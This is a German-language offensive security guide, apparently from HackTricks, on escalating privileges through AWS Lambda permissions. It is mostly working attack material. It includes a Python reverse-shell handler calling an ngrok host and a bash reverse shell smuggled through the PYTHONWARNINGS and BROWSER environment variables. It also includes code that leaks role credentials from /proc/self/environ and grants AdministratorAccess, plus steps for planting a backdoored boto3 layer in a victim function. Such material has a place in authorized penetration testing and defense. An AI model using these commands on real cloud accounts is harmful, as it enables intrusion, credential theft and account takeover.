AWS - Lambda Privesc

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lambda

Mehr Informationen über Lambda in:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Benutzer mit den Berechtigungen iam:PassRole, lambda:CreateFunction und lambda:InvokeFunction können ihre Berechtigungen eskalieren. Sie können eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen, wodurch der Funktion die Berechtigungen zugewiesen werden, die mit dieser Rolle verbunden sind. Der Benutzer kann dann Code in diese Lambda-Funktion schreiben und hochladen (zum Beispiel mit einer rev shell). Sobald die Funktion eingerichtet ist, kann der Benutzer ihre Ausführung auslösen und die beabsichtigten Aktionen durch das Aufrufen der Lambda-Funktion über die AWS-API durchführen. Dieser Ansatz ermöglicht es dem Benutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen, wobei er mit dem Zugriffslevel arbeitet, das der zugehörigen IAM-Rolle zugewiesen ist.\

Ein Angreifer könnte dies ausnutzen, um eine rev shell zu erhalten und das Token zu stehlen:

rev.py

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0

# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Du könntest auch die Berechtigungen der Lambda-Rolle von der Lambda-Funktion selbst ausnutzen. Wenn die Lambda-Rolle genügend Berechtigungen hatte, könntest du sie verwenden, um dir Administratorrechte zu gewähren:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Es ist auch möglich, die Anmeldeinformationen der Lambda-Rolle zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für Netzwerk-isolierte Lambdas, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda zu leaken.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}

aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potenzielle Auswirkungen: Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist.

Beachten Sie, dass lambda:InvokeAsync nicht allein die Ausführung von aws lambda invoke-async ermöglicht, Sie benötigen auch lambda:InvokeFunction.

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Wie im vorherigen Szenario können Sie sich die Berechtigung lambda:InvokeFunction gewähren, wenn Sie die Berechtigung lambda:AddPermission haben.

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potenzielle Auswirkungen: Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Benutzer mit iam:PassRole, lambda:CreateFunction und lambda:CreateEventSourceMapping Berechtigungen (und möglicherweise dynamodb:PutItem und dynamodb:CreateTable) können indirekt Privilegien eskalieren, selbst ohne lambda:InvokeFunction. Sie können eine Lambda-Funktion mit bösartigem Code erstellen und ihr eine vorhandene IAM-Rolle zuweisen.

Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine vorhandene DynamoDB-Tabelle ein oder nutzt sie, indem er sie über eine Ereignisquellenzuordnung mit der Lambda verknüpft. Diese Einrichtung stellt sicher, dass die Lambda-Funktion automatisch ausgelöst wird, wenn ein neuer Eintrag in die Tabelle erfolgt, entweder durch die Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda-Funktion indirekt aufgerufen und der Code mit den Berechtigungen der übergebenen IAM-Rolle ausgeführt wird.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur die Ereignisquellenzuordnung für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer eine neue Tabelle mit aktivierten Streams erstellen:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Jetzt ist es möglich, die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden, indem eine Ereignisquellenzuordnung erstellt wird:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert. Dies kann erreicht werden, indem ein Element in die DynamoDB-Tabelle eingefügt wird:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potenzielle Auswirkungen: Direkte Privilegieneskalation auf die angegebene Lambda-Dienstrolle.

lambda:AddPermission

Ein Angreifer mit dieser Berechtigung kann sich selbst (oder anderen) beliebige Berechtigungen gewähren (dies erzeugt ressourcenbasierte Richtlinien, um den Zugriff auf die Ressource zu gewähren):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potenzielle Auswirkungen: Direkte Privilegieneskalation zum Lambda-Dienstrolle, die verwendet wird, indem Berechtigungen zum Ändern des Codes und Ausführen gewährt werden.

lambda:AddLayerVersionPermission

Ein Angreifer mit dieser Berechtigung kann sich selbst (oder anderen) die Berechtigung lambda:GetLayerVersion gewähren. Er könnte auf die Schicht zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potenzielle Auswirkungen: Potenzieller Zugriff auf sensible Informationen.

lambda:UpdateFunctionCode

Benutzer, die die Berechtigung lambda:UpdateFunctionCode besitzen, haben die Möglichkeit, den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern. Der Angreifer kann den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.

Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion auszulösen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potenzielle Auswirkungen: Direkte Privilegieneskalation auf die verwendete Lambda-Dienstrolle.

lambda:UpdateFunctionConfiguration

RCE über Umgebungsvariablen

Mit diesen Berechtigungen ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda willkürlichen Code ausführt. Zum Beispiel ist es in Python möglich, die Umgebungsvariablen PYTHONWARNING und BROWSER auszunutzen, um einen Python-Prozess willkürliche Befehle ausführen zu lassen:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Für andere Skriptsprachen gibt es andere Umgebungsvariablen, die Sie verwenden können. Für weitere Informationen überprüfen Sie die Unterabschnitte der Skriptsprachen in:

macOS Process Abuse | HackTricks

RCE über Lambda Layers

Lambda Layers ermöglicht es, Code in Ihrer Lambda-Funktion einzuschließen, aber separat zu speichern, sodass der Funktionscode klein bleiben kann und mehrere Funktionen Code teilen können.

Innerhalb von Lambda können Sie die Pfade überprüfen, von denen Python-Code geladen wird, mit einer Funktion wie der folgenden:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Diese sind die Orte:

1. /var/task

2. /opt/python/lib/python3.7/site-packages

3. /opt/python

4. /var/runtime

5. /var/lang/lib/python37.zip

6. /var/lang/lib/python3.7

7. /var/lang/lib/python3.7/lib-dynload

8. /var/lang/lib/python3.7/site-packages

9. /opt/python/lib/python3.7/site-packages

10. /opt/python

Zum Beispiel wird die Bibliothek boto3 von /var/runtime/boto3 geladen (4. Position).

Ausnutzung

Es ist möglich, die Berechtigung lambda:UpdateFunctionConfiguration zu missbrauchen, um eine neue Schicht zu einer Lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Schicht eine Bibliothek enthalten, die die Lambda importieren wird. Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda bereits eine Schicht verwendet und Sie die Schicht herunterladen und Ihren Code dort hinzufügen könnten.

Zum Beispiel, nehmen wir an, dass die Lambda die Bibliothek boto3 verwendet, dies wird eine lokale Schicht mit der letzten Version der Bibliothek erstellen:

pip3 install -t ./lambda_layer boto3

Sie können ./lambda_layer/boto3/__init__.py öffnen und die Hintertür im globalen Code hinzufügen (eine Funktion zum Exfiltrieren von Anmeldeinformationen oder um beispielsweise eine Reverse-Shell zu erhalten).

Dann zippen Sie das ./lambda_layer Verzeichnis und laden die neue Lambda-Schicht in Ihr eigenes Konto hoch (oder in das des Opfers, aber Sie haben möglicherweise keine Berechtigungen dafür). Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht kompatibel mit der Python-Version sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der gleichen Region sein:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Jetzt machen Sie die hochgeladene Lambda-Schicht für jedes Konto zugänglich:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Und füge die Lambda-Schicht zur Opfer-Lambda-Funktion hinzu:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Der nächste Schritt wäre, entweder die Funktion selbst aufzurufen, wenn wir können, oder zu warten, bis sie auf normale Weise aufgerufen wird – was die sicherere Methode ist.

Eine diskretere Möglichkeit, diese Schwachstelle auszunutzen, findet sich in:

AWS - Lambda Layers Persistence

Potenzielle Auswirkungen: Direkte Privilegieneskalation zur Lambda-Dienstrolle, die verwendet wird.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Vielleicht sind Sie mit diesen Berechtigungen in der Lage, eine Funktion zu erstellen und sie über die URL auszuführen... aber ich konnte keinen Weg finden, dies zu testen, also lassen Sie es mich wissen, wenn Sie es tun!

Lambda MitM

Einige Lambdas werden sensible Informationen von den Benutzern in Parametern empfangen. Wenn Sie RCE in einem von ihnen erhalten, können Sie die Informationen, die andere Benutzer an sie senden, exfiltrieren, überprüfen Sie es in:

AWS - Steal Lambda Requests

Referenzen

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/

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